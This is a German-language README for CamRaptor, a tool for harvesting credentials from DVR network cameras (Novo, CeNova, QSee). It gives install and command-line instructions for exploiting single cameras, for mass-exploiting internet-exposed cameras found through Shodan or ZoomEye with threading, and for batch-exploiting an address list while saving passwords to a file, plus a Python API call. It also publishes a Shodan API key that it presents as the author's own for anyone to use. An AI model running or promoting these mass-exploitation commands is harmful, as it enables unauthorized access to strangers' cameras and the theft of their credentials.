CamRaptor

CamRaptor ist ein Tool, das mehrere Schwachstellen in gängigen DVR-Kameras ausnutzt, um Netzwerkkamera-Anmeldeinformationen zu erlangen.

Funktionen

• Nutzt Schwachstellen in den gängigsten Kameramodellen wie Novo, CeNova und QSee aus.
• Optimiert, um mit aktiviertem Threading mehrere Kameras gleichzeitig aus einer Liste auszunutzen.
• Einfache CLI- und API-Nutzung.

Installation

pip3 install git+https://github.com/EntySec/CamRaptor

Grundlegende Nutzung

Um CamRaptor zu nutzen, geben Sie einfach camraptor in Ihrem Terminal ein.

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

Beispiele

Einzelne Kamera ausnutzen

Lasst uns meine Kamera nur zum Spaß hacken.

camraptor -a 192.168.99.100

Kameras aus dem Internet ausnutzen

Versuchen wir, die Shodan-Suchmaschine zu verwenden, um Kameras über das Internet auszunutzen. Wir werden sie mit -t für eine schnelle Ausnutzung verwenden.

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

HINWEIS: Der angegebene Shodan-API-Schlüssel (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) ist mein PRO-API-Schlüssel. Sie können diesen Schlüssel oder Ihren eigenen verwenden. Nutzen Sie alle unsere Ressourcen kostenlos :)

Kameras aus einer Eingabedatei ausnutzen

Versuchen wir, eine geöffnete Datenbank von Kameras mit -t für eine schnelle Ausnutzung zu verwenden.

camraptor -t -i cameras.txt -o passwords.txt

HINWEIS: Es wird alle Kameras in der Liste cameras.txt anhand ihrer Adressen ausnutzen und alle erhaltenen Passwörter in passwords.txt speichern.

API-Nutzung

CamRaptor verfügt auch über eine eigene Python-API, die durch Import von CamRaptor in Ihren Code aufgerufen werden kann.

from camraptor import CamRaptor

Grundlegende Funktionen

Hier sind alle grundlegenden Funktionen von CamRaptor, die verwendet werden können, um eine bestimmte Kamera auszunutzen.

• exploit(address) – Nutzt eine einzelne Kamera anhand der angegebenen Adresse aus.

Beispiele

Einzelne Kamera ausnutzen

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)